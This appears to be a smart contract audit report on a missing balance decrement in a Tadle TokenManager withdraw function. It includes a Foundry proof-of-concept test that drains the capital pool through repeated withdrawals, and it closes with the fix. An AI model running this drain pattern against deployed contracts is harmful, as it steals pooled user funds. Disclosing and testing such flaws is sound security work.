The withdraw function does not decrement the user’s balance after a successful withdrawal. This omission permits repeated withdrawals of the same balance.
A malicious actor can repeatedly call the withdraw function, withdrawing the same balance multiple times without it being decremented. This can lead to the complete drainage of the capital pool.
This vulnerability enables malicious users to withdraw more funds than their balance should allow, potentially draining the entire capital pool and leading to significant financial losses for the platform and other users.
Repeated Withdrawals: Verified that the same user can withdraw the same balance more than once.
Pool Drainage: Demonstrated that a malicious actor can deplete the entire capital pool by repeatedly calling the withdraw function.
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {OfferStatus, StockStatus, AbortOfferStatus, OfferType, StockType, OfferSettleType} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
contract PreMarketsTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address user = vm.addr(1);
address user1 = vm.addr(2);
address user2 = vm.addr(3);
address user3 = vm.addr(4);
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR =
bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(user1);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(
INITIALIZE_OWNERSHIP_SELECTOR,
user1
);
vm.startPrank(user1);
address systemConfigProxy = tadleFactory.deployUpgradeableProxy(
1,
address(systemConfigLogic),
bytes(deploy_data)
);
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(
2,
address(preMarktesLogic),
bytes(deploy_data)
);
address deliveryPlaceProxy = tadleFactory.deployUpgradeableProxy(
3,
address(deliveryPlaceLogic),
bytes(deploy_data)
);
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(
4,
address(capitalPoolLogic),
bytes(deploy_data)
);
address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(
5,
address(tokenManagerLogic),
bytes(deploy_data)
);
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
systemConfig.createMarketPlace("Backpack", false);
capitalPool.approve(address(mockUSDCToken));
vm.stopPrank();
deal(address(mockUSDCToken), user, 100000000 * 10 ** 18);
deal(address(mockPointToken), user, 100000000 * 10 ** 18);
deal(user, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user1, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 1000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
deal(address(mockUSDCToken), capitalPoolProxy, 100000 * 10 ** 18);
}
function testRepeatedWithdrawals() public {
uint256 initialUser2Balance = mockUSDCToken.balanceOf(user2);
vm.prank(address(preMarktes));
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
user2,
address(mockUSDCToken),
1000 ether
);
vm.prank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
uint256 afterFirstWithdrawalBalance = mockUSDCToken.balanceOf(user2);
assertEq(afterFirstWithdrawalBalance, initialUser2Balance + 1000 ether, "First withdrawal should succeed");
vm.prank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
uint256 afterSecondWithdrawalBalance = mockUSDCToken.balanceOf(user2);
assertEq(afterSecondWithdrawalBalance, afterFirstWithdrawalBalance, "Second withdrawal should not succeed");
console2.log("Repeated withdrawal test: Completed");
}
function testPoolDrainageByBadActor() public {
uint256 initialUser2Balance = mockUSDCToken.balanceOf(user2);
uint256 initialCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("Initial User2 Balance: ", initialUser2Balance);
console2.log("Initial Capital Pool Balance:", initialCapitalPoolBalance);
vm.prank(address(preMarktes));
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
user2,
address(mockUSDCToken),
1000 ether
);
console2.log("Added 1000 ether to User2 balance");
uint256 cumulativeWithdrawAmount = 0;
uint256 maxWithdrawAttempts = 1000;
for (uint256 i = 0; i < maxWithdrawAttempts && cumulativeWithdrawAmount < initialCapitalPoolBalance; ++i) {
uint256 user2BalBefore = mockUSDCToken.balanceOf(user2);
uint256 capitalPoolBalBefore = mockUSDCToken.balanceOf(address(capitalPool));
vm.prank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
uint256 user2BalAfter = mockUSDCToken.balanceOf(user2);
uint256 capitalPoolBalAfter = mockUSDCToken.balanceOf(address(capitalPool));
cumulativeWithdrawAmount += 1000 ether;
}
uint256 afterDrainUser2Balance = mockUSDCToken.balanceOf(user2);
uint256 afterDrainCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
assertGe(afterDrainUser2Balance, initialUser2Balance + cumulativeWithdrawAmount - 1000 ether, "User balance should reflect drained amount");
assertLe(afterDrainCapitalPoolBalance, initialCapitalPoolBalance, "Capital pool balance should reflect the total drained amount");
console2.log("Final User2 Balance: ", afterDrainUser2Balance);
console2.log("Final Capital Pool Balance: ", afterDrainCapitalPoolBalance);
console2.log("Total Drained Amount: ", cumulativeWithdrawAmount);
console2.log("Pool drainage by bad actor test: Completed");
}
}
Include a balance decrement operation within the withdraw function to accurately reflect the user's available balance after a withdrawal.